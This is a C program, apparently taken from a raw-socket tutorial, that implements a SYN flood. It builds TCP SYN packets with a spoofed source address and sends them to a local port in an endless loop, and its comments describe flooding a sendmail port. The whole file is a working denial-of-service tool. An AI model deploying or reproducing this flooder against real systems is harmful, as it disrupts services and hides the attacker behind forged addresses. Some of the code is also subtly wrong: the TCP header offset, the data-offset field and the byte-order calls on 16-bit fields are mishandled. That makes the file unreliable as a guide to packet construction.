#define P 2123    /* lets flood the sendmail port */

unsigned short    /* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
  unsigned long sum;
  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

int
main (void)
{
  int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);      /* open raw socket */
  char datagram[4096];  /* this buffer will contain ip header, tcp header,
                           and payload. we'll point an ip header structure
                           at its beginning, and a tcp header structure after
                           that to write the header values into it */
  struct ip *iph = (struct ip *) datagram;
  struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
  struct sockaddr_in sin;
                        /* the sockaddr_in containing the dest. address is used
                           in sendto() to determine the datagrams path */

  sin.sin_family = AF_INET;
  sin.sin_port = htons (P);/* you byte-order >1byte header values to network
                              byte order (not needed on big endian machines) */
  sin.sin_addr.s_addr = inet_addr ("127.0.0.1");

  memset (datagram, 0, 4096);   /* zero out the buffer */

/* we'll now fill in the ip/tcp header values, see above for explanations */
  iph->ip_hl = 5;
  iph->ip_v = 4;
  iph->ip_tos = 0;
  iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);    /* no payload */
  iph->ip_id = htonl (54321);   /* the value doesn't matter here */
  iph->ip_off = 0;
  iph->ip_ttl = 255;
  iph->ip_p = 6;
  iph->ip_sum = 0;            /* set it to 0 before computing the actual checksum later */
  iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */
  iph->ip_dst.s_addr = sin.sin_addr.s_addr;
  tcph->th_sport = htons (1234);        /* arbitrary port */
  tcph->th_dport = htons (P);
  tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */
  tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
  tcph->th_x2 = 0;
  tcph->th_off = 0;          /* first and only tcp segment */
  tcph->th_flags = TH_SYN;      /* initial connection request */
  tcph->th_win = htonl (65535); /* maximum allowed window size */
  tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
                      should fill in the correct checksum during transmission */
  tcph->th_urp = 0;

  iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
   that the kernel knows the header is included in the data, and doesn't
   insert its own header into the packet before our data */

  {                    /* lets do it the ugly way.. */
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
      printf ("Warning: Cannot set HDRINCL!\n");
  }

  while (1)
    {
      if (sendto (s,        /* our socket */
                  datagram,     /* the buffer containing headers and data */
                  iph->ip_len,  /* total length of our datagram */
                  0,        /* routing flags, normally always 0 */
                  (struct sockaddr *) &sin,     /* socket addr, just like in */
                  sizeof (sin)) < 0)        /* a normal send() */
        printf ("error\n");
      else
        printf (".");
    }

  return 0;
}